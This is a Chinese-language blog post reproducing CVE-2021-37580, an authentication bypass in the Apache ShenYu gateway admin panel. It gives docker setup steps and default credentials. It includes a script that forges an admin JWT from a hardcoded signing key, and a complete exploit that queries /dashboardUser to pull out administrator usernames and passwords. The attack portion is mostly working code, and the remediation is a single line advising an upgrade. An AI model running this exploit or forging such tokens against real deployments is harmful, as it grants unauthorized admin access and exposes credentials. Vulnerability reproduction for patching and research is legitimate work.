Apache ShenYu 网关JWT认证绕过漏洞 CVE-2021-37580

Apache ShenYu 网关JWT认证绕过漏洞 CVE-2021-37580 已亲自复现

Apache ShenYu 网关JWT认证绕过漏洞 CVE-2021-37580 已亲自复现)

漏洞名称

漏洞描述

Apache ShenYu是一个异步的,高性能的,跨语言的,响应式的API网关,Apache ShenYu功能十分强大且易于扩展,支持各种语言的http协议,同时支持Dubbo、 Spring Cloud、 gRPC、 Motan、 Sofa、 Tars 等协议。2021年11月,Apache ShenYu被爆出存在身份认证绕过漏洞,攻击者可以通过该漏洞绕过JWT(JSON Web Token)安全认证机制,直接进入系统后台。

影响版本

Apache ShenYu 2.3.0

Apache ShenYu 2.4.0

漏洞复现

环境搭建

受害者IP:192.168.63.129:9095

攻击者IP:192.168.63.1

docker直接拉取环境

bash 复制代码
docker pull apache/shenyu-admin:2.4.0
docker network create shenyu
docker run -d -p 9095:9095 --net shenyu apache/shenyu-admin:2.4.0

环境启动后,访问http://192.168.63.129:9095即可看到一个shenyu页面,说明已成功启动,使用admin/123456登录系统。

漏洞利用

创建一个wahaha/wahaha,权限为default,使用刚创建的用户登录系统。

显示登录用户的角色未配置菜单权限

使用burp抓包,在响应体中返回了token。

更改请求路径为/dashboardUser,并在请求头加入X-Access-Token字段,成功返回admin的账户和密码。

bash 复制代码
X-Access-Token:eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyTmFtZSI6IndhaGFoYSIsImV4cCI6MTcwMzE0MTE1Nn0.Y0U14VyZ0aQ32Y-YX9tz7LF3qCD_R5GPxP563BOUDEs

如果没有获取到普通用户的token,可以使用脚本生成admin的token,成功获取信息。

bash 复制代码
pip install PyJWT
python cve-2021-37580.py http://192.168.63.129:9095
bash 复制代码
import time
from jwt import PyJWT

if __name__ == "__main__":
    headers = {
        "alg": "HS256",
        "typ": "JWT"
    }
    salt = "2095132720951327"
    exp = int(time.time())
    payload = {
        "userName": 'admin',
        "exp": exp
    }
    token = PyJWT().encode(payload=payload, key=salt,algorithm='HS256', headers=headers)
    print(token)


完整的EXP:

bash 复制代码
import requests
import re
import time
from jwt import PyJWT


def generateToken():
    headers = {
        "alg": "HS256",
        "typ": "JWT"
    }
    salt = "2095132720951327"
    exp = int(time.time())
    payload = {
        "userName": 'admin',
        "exp": exp
    }
    token = PyJWT().encode(payload=payload, key=salt,algorithm='HS256', headers=headers)
    return token


if __name__ == "__main__":
    import sys
    try:
        url=sys.argv[1]
    except:
        print("Usage: %s http://www.baidu.com")
        exit(0)
    if isinstance(url,str):
        url1 = url + '/dashboardUser'
        headers = {
            'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:93.0) Gecko/20100101 Firefox/93.0',
            'X-Access-Token': generateToken()
        }
        try:
            response = requests.get(url1, headers=headers, verify=False, timeout=3).json()
            print(response)
        except:
            print("没有该漏洞")

修复建议

1、升级至最新版本

https://shenyu.apache.org/download/

总结

payload的意思是使用了一个JWT令牌(X-Access-Token),对其进行Base64解码可得到攻击者尝试的用户为 "userName": "admin"。由于服务端在使用JWT的时候,也没有校验key,导致任意能解码的JWT,并且只要用户(userName的值)存在,都能通过校验。如果攻击成功,在响应头中返回的状态码为200,且在响应体中返回"query success"、"userName":""、"passwprd":""字样。

相关推荐
Chengbei116 小时前
云安全漏洞挖掘SKILL、一站式云漏洞挖掘工具,支持S3爆破、IMDS探测、K8s检测与AK/SK权限利用
前端·人工智能·网络安全·云原生·容器·kubernetes·系统安全
白猫不黑9 小时前
Web 应用中“敏感信息泄露“的常见位置?
前端·网络·web安全·网络安全·信息安全·渗透测试
味悲9 小时前
Apache HTTP 服务器配置
服务器·http·apache
国际云,接待1 天前
Azure Front Door WAF实战:托管规则、限速与日志查询
microsoft·网络安全·云计算·azure·front door
云栖梦泽在1 天前
稳如狗网络工具箱:IP、DNS、WebRTC、测速、连通性和全球延迟检测工具简明介绍
网络·网络协议·tcp/ip·网络安全·性能优化·webrtc
万岳科技系统开发1 天前
AI赋能互联网医院小程序开启智慧医疗新时代
人工智能·小程序·apache
倚栏听雨_ylty1 天前
H3C交换机关闭Telnet和HTTP服务实例
运维·网络·tcp/ip·网络安全
白猫不黑1 天前
SQL注入实战:手工注入全流程详解
网络·数据库·sql·web安全·网络安全·信息安全
是三一seven2 天前
Sql注入基础
数据库·安全·网络安全
愤怒的苹果ext2 天前
Apache Superset 使用
apache·doris·bi·superset·ai bi